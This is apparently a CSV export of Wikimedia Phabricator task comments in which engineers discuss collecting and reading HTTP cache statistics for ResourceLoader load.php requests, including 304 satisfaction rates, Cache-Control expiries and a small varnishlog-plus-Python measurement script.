minutiae.",,,1436771429,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+490700,Collect HTTP statistics about load.php requests,">>! In T104277#1448481, @Krinkle wrote:
+> The 88% satisfaction rate isn't high. Long-expiry should have 100% satisfaction. Though these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume long-expiry satisfaction to be 100%, and 88% the average, we can infer the satisfaction rate of short-expiry responses through `((65*100)+(35*X))/100=88` where X = ~66%. A 66% satisfaction rate for the 5-minute short expiry resources isn't too bad.
+> 
+
+Is it correct to say that the 304 satisfaction rate is the weighted average of the long and short rates, weighted by their proportion of total request volume? Wouldn't you have to weight by their proportion of INM request volume instead? We don't have that data, but I would guess it's more lopsided than 65-35, probably closer to the 97-3 split we see for 304s (though probably not quite that extreme), which would mean the short-expiry satisfaction rate would be much closer to 88%. Of course, if we collect data on whether INM requests are short or long (using `&version=` as a proxy), we can compute separate satisfaction rates directly as well, without reasoning about weighted averages.
+
+
+> Responses to clients without a primed cache (HTTP 200)
+
+That's not what 200s are. 200 means that either the client had no cache, or that it had an out-of-date cache.
+
+> are about 50-50 divided between long- and short expiry. I therefore assume that an average page view gets half its resources from long-expiry and half from short-expiry.
+>
+...and for that reason I'm not sure that's a valid assumption.
+ 
+> Responses to clients with a primed cache are very differently divided. Only 3% of their 304 responses are for long-expiry resources. I assume this means, clients with a cache never even touch the network for long-expiry resources. They go straight to local cache. This is good and preferred. The 3% is worth investigating. It should be 0% (for the same reason satisfaction should be 100%). I suspect this 3% might mean some clients have an outdated startup module. Or are otherwise making requests using 30-day old metadata (perhaps hardcoded somewhere; possibly third-party). After 30 days the local cache expires and they try a 304 roundtrip that fails because the server has a new version available. The server is guaranteed to have changed the version hash of everything after 1-2 weeks due to T102578.
+> 
+Yeah, it's good to see that 304 traffic for long-expiry resources is so low. I have a theory as to where this 3% comes from:
+
+In Chrome, open an incognito window, open the inspector, make sure the ""Disable cache while DevTools is open"" setting is not set (i.e. cache is enabled), go to the Network pane, set the filter to Script, then load a Wikipedia page. You'll see 200 responses, and you'll see that the request headers do not contain an If-None-Match header, nor a Cache-Control header (the response headers do have CC, of course). This is a load with completely cold cache.
+
+Then reload the page by pressing enter in the address bar. Depending on how long you waited, the startup module response will either be a 304 from the network or a 200 from cache, and the other requests will be 200 from cache. There will also be fewer requests overall, because of localStorage. If you saw 304s, their request headers had INM but no CC. So far so good.
+
+Then reload the page by pressing F5 or clicking the reload arrow. You will see everything is a 304, with request headers containing both INM and `Cache-Control: max-age=0`. Varnish appears to ignore this header (doesn't go back to the backend), since I got X-Cache headers with `frontend hit` in them.
+
+Now hard-refresh the page by pressing Ctrl+F5 (or holding Ctrl while clicking the reload arrow). You will see 200s, with request headers containing no INM headers and containing `Cache-Control: no-cache`. Again, Varnish ignores this (I saw `frontend hit` in X-Cache again), but it can't serve a 304 because the client did not supply an INM header.
+
+So perhaps enough of our clients use F5 often enough that it amounts to 3% of our traffic? I wonder how many of those long-expiry 304s had `Cache-Control: max-age=0` in their request headers, and if other browsers expose similar traces of user refreshes in their request headers.
+
+As a side note, I found {T105657} while performing this experiment.
+
+> The 301 redirects do not originate from ResourceLoader. They would've been intercepted by MediaWiki, Apache, or Varnish. All these layers enforce HTTPS. In this case I believe it's text-varnish.
+> 
+It's a vanishingly small percentage anyway. These are probably non-MW-originated load.php hits, since MW has used protocol-relative URLs for a long time. I wouldn't be surprised if gadgets or other 3rd party code was abusing load.php for something, using hard-coded HTTP URLs.
+
+> The fact that only 35% of have INM headers is interesting. For the most part I don't think that figure is in under our control. It includes bots and headless spiders that may not have cache. Aside from bots, many users may've simply not visited that wiki before (load.php is fragmented by wiki; and the world population is growing), or they are using incognito/private browsing, or they're using a newly purchased device, or switched to a different browser, or they've recently purged their browser's overall cache for unrelated reasons, or their browser dropped the wiki domains' http cache per LRU (do any browsers do this?). It's hard to believe the aforementioned cases add up to 65% of our users. Worth investigating.
+> 
+It's worth noting that these stats are for overall requests, and there are multiple (and a variable number of) requests per page view. If we want to reason about what proportion of clients has a hot cache, numbered focused solely on startup module requests may be more suitable.
+
+> We do control this INM percentage for a small part. Namely that our long-expiry resources have unique urls, so they wouldn't show up as missed INM/200's but as non-INM 200s for a new url. Improving T102578 means long-expiry urls generated by the startup module live longer and should globally increase INM usage. It's possible that our tail of the cache invalidation each week takes more than a week to recover and that we actually never see its potential peak. Worth investigating by having a dummy resource with a 1-year expiry and seeing its INM/200/304 rate over the course of a month.
+
+That's a clever way to investigate this, as long as all the variables are controlled (guarantee that the resource's E-Tag / version hash is stable, guarantee it's never combined with other things).
+",,,1436742828,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1
+490677,Collect HTTP statistics about load.php requests,">>! In T104277#1448351, @ori wrote:
+> I consider the current version stable and satisfactory. Before closing this as resolved, though, I'd like to have a short executive summary of what we learned so far. Assigning it to @Krinkle for that.
+
+Thanks. I'll try to be short.
+
+### Raw data
+
+Ignoring data points we know to be inaccurate, the figures have been steady over the past 5 days.
+From <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>.
+
+800K – 1.5 million load.php requests per minute. Daily low at 740K, peak at 1.53M.
+* ~35% of load.php requests carry an If-None-Match header.
+
+The number of recorded requests matches the number of recorded responses within a margin of 0.0001%.
+* ~ 69% of load.php responses have HTTP status 200 OK.
+* ~ 31% of load.php responses have HTTP status 304 Not Modified.
+* ~ 0.018% of load.php responses were HTTP 301 redirects.
+
+HTTP responses by cache-control:
+* ~ 35% of load.php responses have a long cache expiry.
+* ~ 65% of load.php responses have a short cache expiry.
+
+HTTP 200 responses by cache-control:
+* ~ 49% of load.php HTTP 200 responses have a long cache expiry.
+* ~ 51% of load.php HTTP 200 responses have a short cache expiry.
+
+HTTP 304 responses by cache-control:
+* ~ 3% of load.php HTTP 304 responses have a long cache expiry.
+* ~ 97% of load.php HTTP 304 responses have a short cache expiry.
+
+HTTP 304 satisfaction rate: ~88% (304 responses as percentage of INM requests)
+
+### Conclusions
+
+The 88% satisfaction rate isn't high. Long-expiry should have 100% satisfaction. Though these are not mutually exclusive because we don't fragment request stats by short/long expiry yet (based on version param). If we assume long-expiry satisfaction to be 100%, and 88% the average, we can infer the satisfaction rate of short-expiry responses through `((65*100)+(35*X))/100=88` where X = ~66%. A 66% satisfaction rate for the 5-minute short expiry resources isn't too bad.
+
+Remember that clients should only make requests for resources that may be expired. So in the first 5 minutes or 30 days after receiving an HTTP response to a long- or short expiry resource respectively, no requests will be made. Not even a HTTP 304 roundtrip. We are therefore probably blind to a significant amount of local cache traffic that is very relevant to this picture. Perhaps we can instrument `mw.loader.store` for more details on this. I believe we already have some instrumentation of it, but it may not be collected yet or insufficiently detailed.
+
+After the 5-minute expiry, browsers will still try an INM/304 trip. In most cases (implied 66%) they do still get 304 because we don't actually change the startup module and unversioned stylesheets that often. See also T96797.
+
+Responses to clients without a primed cache (HTTP 200) are about 50-50 divided between long- and short expiry. I therefore assume that an average page view gets half its resources from long-expiry and half from short-expiry.
+
+Responses to clients with a primed cache are very differently divided. Only 3% of their 304 responses are for long-expiry resources. I assume this means, clients with a cache never even touch the network for long-expiry resources. They go straight to local cache. This is good and preferred. The 3% is worth investigating. It should be 0% (for the same reason satisfaction should be 100%). I suspect this 3% might mean some clients have an outdated startup module. Or are otherwise making requests using 30-day old metadata (perhaps hardcoded somewhere; possibly third-party). After 30 days the local cache expires and they try a 304 roundtrip that fails because the server has a new version available. The server is guaranteed to have changed the version hash of everything after 1-2 weeks due to T102578.
+
+The 301 redirects do not originate from ResourceLoader. They would've been intercepted by MediaWiki, Apache, or Varnish. All these layers enforce HTTPS. In this case I believe it's text-varnish.
+
+The fact that only 35% of have INM headers is interesting. For the most part I don't think that figure is in under our control. It includes bots and headless spiders that may not have cache. Aside from bots, many users may've simply not visited that wiki before (load.php is fragmented by wiki; and the world population is growing), or they are using incognito/private browsing, or they're using a newly purchased device, or switched to a different browser, or they've recently purged their browser's overall cache for unrelated reasons, or their browser dropped the wiki domains' http cache per LRU (do any browsers do this?). It's hard to believe the aforementioned cases add up to 65% of our users. Worth investigating.
+
+We do control this INM percentage for a small part. Namely that our long-expiry resources have unique urls, so they wouldn't show up as missed INM/200's but as non-INM 200s for a new url. Improving T102578 means long-expiry urls generated by the startup module live longer and should globally increase INM usage. It's possible that our tail of the cache invalidation each week takes more than a week to recover and that we actually never see its potential peak. Worth investigating by having a dummy resource with a 1-year expiry and seeing its INM/200/304 rate over the course of a month.",,,1436731793,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1
+490649,Collect HTTP statistics about load.php requests,">>! In T104277#1445244, @Krinkle wrote:
+> Did we unknowingly fix a bug, or is it a new bug?
+
+The former (fixed a bug). To validate, I ran:
+
+```lang=sh
+$ varnishlog -c -C -mRxURL:^/w/load.php -mRxHeader:^if-none-match -iTxStatus -iRxURL -iRxHeader | grep TxStatus | python satisfied.py
+```
+
+where `satisfied.py` is:
+
+```lang=python
+import sys
+
+satisfied = 0
+for reqs, line in enumerate(sys.stdin):
+    if 'c 304' in line:
+        satisfied += 1
+    if reqs % 1000 == 0:
+        print('%.2f%%' % ((100.0 * satisfied) / reqs))
+```
+
+In the course of experimenting with this, I rolled out a buggy version that ran for four hours, between 2015-07-11 23:00 and 2015-07-12 03:00. Figures collected during this interval should be ignored.
+
+I consider the current version stable and satisfactory. Before closing this as resolved, though, I'd like to have a short executive summary of what we learned so far. Assigning it to @Krinkle for that.",,,1436723617,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+490114,Collect HTTP statistics about load.php requests,"> Change 224016 merged by @ori:
+> varnishrls: segment responses by cache-control max-age
+> 
+> [[https://gerrit.wikimedia.org/r/224016]]
+
+Awesome! I've updated the dashboard <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>:
+
+{F191039}
+
+The new cache_control values look realistic and already answer many of our questions. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase matches that of the cache_control metrics patch.
+
+I don't see a similar traffic pattern in previous days so I assume this was caused by the patch. Did we unknowingly fix a bug, or is it a new bug?",,,1436542387,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,1
+490113,Collect HTTP statistics about load.php requests,"> Change 224016 merged by @ori:
+> varnishrls: segment responses by cache-control max-age
+> 
+> [[https://gerrit.wikimedia.org/r/224016]]
+
+Awesome! I've updated the dashboard <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>:
+
+{F191039}
+
+The new cache_control values look realistic and already answer many of our questions. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase matches that of the cache_control metrics patch.
+
+I don't see a similar traffic pattern in previous days so I assume this was caused by the patch. Did we unknowingly fixed a bug, or is it a new bug?",,,1436542373,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,1
+490104,Collect HTTP statistics about load.php requests,"> Change 224016 merged by @ori:
+> varnishrls: segment responses by cache-control max-age
+> 
+> [[https://gerrit.wikimedia.org/r/224016]]
+
+Awesome! I've updated the dashboard <https://grafana.wikimedia.org/#/dashboard/db/resourceloader>:
+
+{F191039}
+
+The new cache_control values look realistic and already help understand which of the possibly realities is ours. However I also see a 20% increase in the reported 304 satisfaction rate. The timeframe of that unexpected increase was at the same time as the cache_control metrics got introduced. I don't see a similar traffic pattern in previous days so I assume this was caused by the patch.",,,1436541895,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1
+489843,Collect HTTP statistics about load.php requests,"Change 224016 merged by Ori.livneh:
+varnishrls: segment responses by cache-control max-age
+
+[[https://gerrit.wikimedia.org/r/224016]]",,,1436506201,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+489842,Collect HTTP statistics about load.php requests,"Change 224016 had a related patch set uploaded (by Ori.livneh):
+varnishrls: segment responses by cache-control max-age
+
+[[https://gerrit.wikimedia.org/r/224016]]
+",,,1436506085,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+489086,Collect HTTP statistics about load.php requests,"On the backend, we should see zero INM/304 traffic for versioned (long cache) requests, and very little 200 traffic and only right after a deployment. For unversioned (short cache) requests, the backend traffic should be low-ish consistent volume and overwhelmingly INM/304.
+
+The cache hit rate (which we can compute by dividing backend numbers by frontend numbers) should be extremely high (>95%) for unversioned requests, and high (>85%) for versioned requests.
+
+If these things (or other expectations in my original post) turn out not to be true, that's likely to indicate a problem that deserves more investigation.
+
+But really, it's tough to say what the plan or expectations should be when we can't even see what's going on yet.",,,1436405647,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,1,True,0,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+489056,Collect HTTP statistics about load.php requests,"(And also: can you say what the goals are, in terms of cache hit rates, or some other metric? Identify what ought to be possible and set that as a goal.)",,,1436399704,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+489054,Collect HTTP statistics about load.php requests,"Ok. Can you formulate a plan for how you'd act on this data? i.e., if the data showed X, we'd do Y; if it instead showed P, we'd do T, etc.",,,1436399617,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+489037,Collect HTTP statistics about load.php requests,"For @Catrope's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.
+
+`ResourceLoader.reqs.{all,if_none_match}` becomes `ResourceLoader.reqs.{version,noversion}.*`.
+`ResourceLoader.resps.{httpStatus}` becomes `ResourceLoader.resps.{maxage,other}.*`
+
+Where ""version""/""noversion"" is based on the load.php url containing `&version=`.
+
+And ""maxage"" is the max-age value of a header matching `Cache-Control: public, max-age=X, s-maxage=X`. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.
+
+For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters).",,,1436397865,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+489036,Collect HTTP statistics about load.php requests,"For @Catrope's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.
+
+`ResourceLoader.reqs.{all,if_none_match}` becomes `ResourceLoader.reqs.{version,noversion}.*`.
+`ResourceLoader.resps.{httpStatus}` becomes `ResourceLoader.resps.{maxage,other}.*`
+
+Where ""version""/""noversion"" is based on the load.php containing `&version=`.
+
+And ""maxage"" is the max-age value of a header matching `Cache-Control: public, max-age=X, s-maxage=X`. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.
+
+For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters).",,,1436397856,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+489035,Collect HTTP statistics about load.php requests,"For @Catrope's #1 wishlist item I'd recommend we fragment the existing metrics by an additional layer. I don't think we need separately kept metrics. We can maintain the current higher-level overviews by using a wildcard to skip/sum this intermediate level.
+
+`ResourceLoader.reqs.{all,if_none_match}` becomes `ResourceLoader.reqs.{version,noversion}.*`.
+`ResourceLoader.resps.{httpStatus}` becomes `ResourceLoader.resps.{maxage,other}.*`
+
+Where ""maxage"" is the max-age value of a header matching `Cache-Control: public, max-age=X, s-maxage=X`. And ""other"" for private stuff like ""Cache-Control: private"" (used by debug mode) and in theory any fringe responses using additional options like ""no-store"", or if max-age values don't match.
+
+For flexibility and to easily discover different max-ages, I'd recommend we set those as properties directly (as long the above pattern matches). These can only be set by MediaWiki anyway (ResourceLoader doesn't support reflected [s]maxage query parameters).",,,1436397814,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+489027,Collect HTTP statistics about load.php requests,"As requested by @ori and @Krinkle, here's my wishlist of statistics to collect:
+
+1. Collect # of requests/responses for each value of the `Cache-Control` (CC) header
+2. Graph INM rates and 304 rates separately for short/long CC expiries
+3. Collect request data (total # and INM %) and response data (total # and 304%) for traffic between the backend Varnishes and the Apaches
+
+#1: We expect only two different values to occur for the `Cache-Control` header (for 2XX/304 responses): `Cache-Control: public, max-age=300, s-maxage=300` (""short"") and `Cache-Control: public, max-age=2592000, s-maxage=2592000` (""long""). It would be interesting to see how many requests/responses are cacheable for a short vs long period of time, and it would also be interesting to validate whether these two values are indeed the only ones that occur in the wild (barring error/redirect responses). For requests, the value of the `Cache-Control` header in the corresponding response might not be available; in that case the presence/absence of the `&version=` parameter could be used as a proxy (long if present, short if absent). As an extension to this, we could also consider separating startup and non-startup requests (`&modules=startup`).
+
+#2: It stands to reason that the traffic graphs we've built so far (total # of reqs, INM %, total # of responses, 304 %, INM satisfaction %) should be significantly different between short-cache and long-cache requests/responses. Graphing these rates separately for each category would let us identify whether this is true and what these differences look like. If our beliefs are correct and the two categories are very different, then the pattern that we're currently seeing is really the sum of two unknown patterns with unknown weights, and so our current graphs might not even be that meaningful. (Again, if CC response headers aren't available for requests, then we can use `&version=` as a proxy.)
+
+#3: Our current request/response graphs are only about the traffic between clients and the frontend Varnishes. This tells us about the clients' perspective, which is ultimately what matters. So this tells us a lot about how the system performs but not as much about why it performs that way. If we collect and graph the same data for the traffic between the backend Varnishes and the Apaches, we'll be able to see how well Varnish is performing (the shape of backend traffic should be different from frontend traffic, and there are particular patterns I expect to see there). We'll also be able to graph cache hit rates without relying on `X-Cache` or other unreliable things in Varnish.
+
+Things I would expect/hope to see:
+* I expect only two CC values to occur
+* I don't know what I should expect for short vs long in terms of relative volume; my gut says short will have greater volume, but I'm not sure
+* I expect most of the INM/304 traffic to be for short-expiry requests
+* If @Krinkle's theory about cache churn (T102578) is correct, we should see close to zero INM/304 traffic for long-expiry requests
+* I expect more INM/304 traffic and a higher satisfaction rate on the backend
+* I hope for relatively low request volume on the backend, and very very low volume for long-expiry requests
+* In other words, I expect most of the backend traffic to be 304s for startup and other unversioned things
+* I expect to see differences in patterns for long and short expiries on the frontend but little difference on the backend
+
+",,,1436397047,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,0,1,1,1,1,0,1,1
+488548,Collect HTTP statistics about load.php requests,">>! In T104277#1432643, @ori wrote:
+> What issues?
+
+Mainly two things observed:
+* A (high) presence of HTTP 204 responses. Several million, peaking throughout the day. I don't see how these can come from ResourceLoader.
+* (H/T @catrope) There are more 304 responses than If-None-Match requests. Something doesn't add up.
+
+This should be fixed now by @ori's patch:
+> Fix request-matching logic in varnishrls
+> https://gerrit.wikimedia.org/r/223522
+
+https://grafana.wikimedia.org/#/dashboard/db/resourceloader
+
+Before:
+{F190300}
+
+After:
+{F190301}",,,1436354083,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,1
+488547,Collect HTTP statistics about load.php requests,,,,1436353537,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+487725,Collect HTTP statistics about load.php requests,,,,1436246449,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+487641,Collect HTTP statistics about load.php requests,">>! In T104277#1432304, @Krinkle wrote:
+> We ran into some issues with the metrics. Re-opening as reminder to investigate and address.
+
+What issues?",,,1436230785,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1
+487513,Collect HTTP statistics about load.php requests,We ran into some issues with the metrics. Re-opening as reminder to investigate and address.,,,1436220181,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-brymhbvob4xgvfbkxc7p,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
